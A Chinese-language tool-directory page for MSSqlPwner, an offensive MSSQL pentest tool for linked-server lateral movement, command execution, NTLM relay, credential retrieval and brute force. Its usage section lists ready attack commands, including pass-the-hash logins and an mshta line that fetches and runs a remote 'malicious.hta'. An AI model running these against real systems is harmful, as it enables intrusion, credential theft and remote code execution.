Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
MSSqlPwner — 高级MSSQL渗透测试工具,用于通过链接服务器和多种认证方法进行横向移动、命令执行、NTLM中继和暴力破解攻击。 | Kitploit
工具/GitHubGitHub/scorpioneslabs/mssqlpwner
密码攻击漏洞利用横向移动信息收集渗透测试身份验证红队数据库安全
GitHubscorpioneslabs/mssqlpwner

MSSqlPwner

高级MSSQL渗透测试工具,用于通过链接服务器和多种认证方法进行横向移动、命令执行、NTLM中继和暴力破解攻击。

查看仓库
45863727天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

MSSqlPwner

MSSqlPwner 是一款先进且多功能的渗透测试工具,旨在无缝交互并攻陷 MSSQL 服务器。 该工具基于 impacket,允许攻击者使用明文密码、NTLM 哈希和 Kerberos 票据对数据库进行身份验证。 借助 MSSqlPwner,用户可以通过多种方法执行自定义命令,包括自定义程序集、xp_cmdshell、sp_oacreate(OLE 自动化过程)等。

该工具从对链接服务器和可能的模拟进行递归枚举开始,以收集所有可能的命令执行链。

此外,MSSqlPwner 工具还可用于 NTLM 中继功能,利用诸如 xp_dirtree、xp_subdirs、xp_fileexist 等函数。

该工具可用于横向移动评估和链接服务器的探索。

如果经过身份验证的 MSSQL 用户没有执行某些操作的权限,该工具可以找到允许命令执行的正确链。 例如,如果您的用户在当前上下文中无法执行命令,工具将构建一个链,使用链接服务器并以提升的权限连接回我们的服务器。

安装

开始使用 mssqlpwner 非常顺畅。您可以通过直接从仓库拉取来安装:

root@kitploit:~
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

或者,使用 pipx(建议如此),试试这个:

root@kitploit:~
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

现在您就可以使用这个新宠工具了:

root@kitploit:~
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive

示例

命令执行

暴力破解

该工具支持多种身份验证方法,详情如下。

免责声明

本工具设计用于安全专业人员和研究人员,仅用于测试目的,不得用于非法用途。

功能:

  1. 实用工具:
  • interactive:允许以交互方式实时使用工具。
  • enumerate:枚举链接服务器和链。
  • get-chain-list:获取链列表:
    • 可选参数:
      • -filter-hostname HOSTNAME - 使用特定主机名过滤结果。
  • get-link-server-list:获取链接服务器列表。
  • set-chain:设置链 ID(仅交互模式!)
    • 必需参数:
      • CHAIN - 要设置的链 ID。
  • set-link-server:设置链接服务器(仅交互模式!)
    • 必需参数:
      • LINK - 要设置的链接服务器。
  • get-rev2self-queries:检索恢复为 SELF 的查询(仅交互模式!)。
  • get-adsi-provider-list:检索 ADSI 提供程序列表。
  • rev2self:恢复为 SELF(仅交互模式!)。
  1. 命令执行:使用以下功能执行命令:
  • exec:在本地服务器或链接服务器上使用 exec 执行命令
    • 必需参数:
      • COMMAND - 要执行的命令。
    • 可选参数:
      • -command_execution_method - 要使用的命令执行方法。
        • 支持的方法:
          • xp_cmdshell - 使用 xp_cmdshell 过程执行命令(默认)。
          • sp_oacreate - 使用 Ole Automation Procedure 过程执行命令(应像 "cmd /c something" 一样使用)。
  1. 密码检索:
  • retrieve-password:从 ADSI 提供程序检索密码。
    • 可选参数:
      • -listen-port - 侦听端口(默认:1389)。
      • -adsi-provider - 要使用的 ADSI 提供程序(如果未定义,将自动选择)。
      • -arch - 要使用的架构(如果未定义,将自动选择)。
        • 支持的架构:
          • x86 - 使用 x86 架构。
          • x64 - 使用 x64 架构。
  1. NTLM 哈希窃取和中继:使用以下功能发起 NTLM 中继或窃取 NTLM 哈希:
  • ntlm-relay - 强制 NTLM 中继到服务器。
    • 必需参数:
      • SMB_SERVER - 要中继到的 SMB 服务器。
    • 可选参数:
      • -relay-method - 要使用的中继方法。
        • 支持的方法:
          • xp_dirtree - 使用 xp_dirtree 过程(默认)。
          • xp_subdirs - 使用 xp_subdirs 过程。
          • xp_fileexist - 使用 xp_fileexist 过程(在某些情况下,应从特权链执行此模块)。
  1. 使用自定义程序集执行过程:
  • custom-asm - 使用自定义程序集执行过程
    • 必需参数:
      • COMMAND - 要使用的命令/路径或查询。
    • 可选参数:
      • -procedure-name - 要使用的过程名称(默认:execute_command)。
        • 支持的过程:
        • execute_command - 使用自定义程序集执行命令(默认)。
        • run_query - 使用自定义程序集执行查询。
        • run_query_system_service - 使用自定义程序集以系统用户(如 SqlSVC)身份执行查询。
  • inject-custom-asm:使用自定义程序集注入代码。
    • 必需参数:
      • file_location - 要注入的文件位置。
    • 可选参数:
    • -procedure-name - 要使用的过程名称(默认:Inject)。
  1. 直接查询
  • direct-query:执行直接查询
  • 必需参数:
    • QUERY - 要执行的查询。
  • 可选参数:
  • -query-method - 要使用的查询方法。
    • 支持的方法:
      • OpenQuery - 使用 OpenQuery 过程(默认)。
      • exec_at - 使用 exec AT 过程。
  1. 暴力破解
  • brute:发起暴力破解(可接收票据、哈希和密码)
  • 必需参数:
    • TARGETS_FILE - 包含主机和 IP 的文件,用于暴力破解。
    • -ul - 包含用户的文件,用于暴力破解。
  • 可选参数:
    • -pl - 包含密码的文件,用于暴力破解。
    • -tl - 包含票据的文件,用于暴力破解。
    • -hl - 包含哈希的文件,用于暴力破解。
  • 注意:
  • 如果您要使用票据,应使用服务主体名称(SPN)格式(如 MSSQLSvc/hostname.domain.com:1433)。
  • 如果您使用票据,则无需设置密码或哈希。
  • 如果您不使用票据,则应至少提供密码文件或哈希文件。

通用可选参数(应位于所选功能之前):

  • -link-name - 要使用的链接服务器名称
  • -chain-id - 要使用的链 ID
  • -max-link-depth - 要使用的最大链接深度(默认:10)
  • -max-impersonation-depth - 要使用的最大模拟深度(默认:10)
  • -auto-yes - 自动回答所有问题为是(默认:False)
  • -timeout - 要使用的超时时间(默认:30)

横向移动与链探索:

MSSqlPwner 为横向移动评估和链接服务器的探索提供了机会。 在当前会话缺乏管理权限的情况下,该工具会尝试找到一条通过链接服务器提升自身权限的链。 如果链接服务器上的会话具有更高权限,该工具可以与链接服务器交互,并执行一条回连到宿主机的链接查询,从而提升权限,实现对目标服务器的横向移动。

身份验证方法:

支持多种身份验证方法,包括:

  • Windows 凭据
  • MSSQL 凭据
  • Kerberos 身份验证
  • Kerberos 票据
  • NTLM 哈希

该工具适应各种场景和环境,验证身份验证机制的有效性。

借助 MSSqlPwner 的强大功能和多功能性,将您的 MSSQL 环境评估提升到新水平。 使用 MSSqlPwner 工具,发现横向移动、隐蔽查询和精确安全评估的新可能性。

用法

root@kitploit:~
# 交互模式
mssqlpwner corp.com/user:[email protected] -windows-auth interactive

# 交互模式,模拟深度为 2 级
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive

# 在当前服务器上使用 Windows 身份验证执行自定义程序集,并执行 hostname 命令
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname

# 在当前服务器上使用 Windows 身份验证执行自定义程序集,并在 SRV01 链接服务器上执行 hostname 命令
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname

# 在链接的 SRV01 服务器上使用存储过程执行 hostname 命令
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname

# 在链接的 SRV01 服务器上使用 sp_oacreate 方法执行 hostname 命令
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

# 对 SRV01 服务器发起 NTLM 中继攻击
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# 对链 ID 为 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 的链发起 NTLM 中继攻击
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# 对本地服务器发起 NTLM 中继攻击,使用自定义命令
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250

# 执行直接查询
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"

# 从链接服务器 DC01 检索密码
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password

# 在链接服务器 DC01 上使用自定义程序集执行代码
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

# 使用票据、哈希和密码对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# 使用哈希和密码对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# 使用票据对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# 使用密码对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# 使用哈希对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

致谢

  • Kim Dvash 设计了这一令人难以置信的标识。
  • Pablo Martínez 提供了灵感和密码检索技术的想法。
  • Omri Baso 在灵感和想法方面给予帮助。
下载工具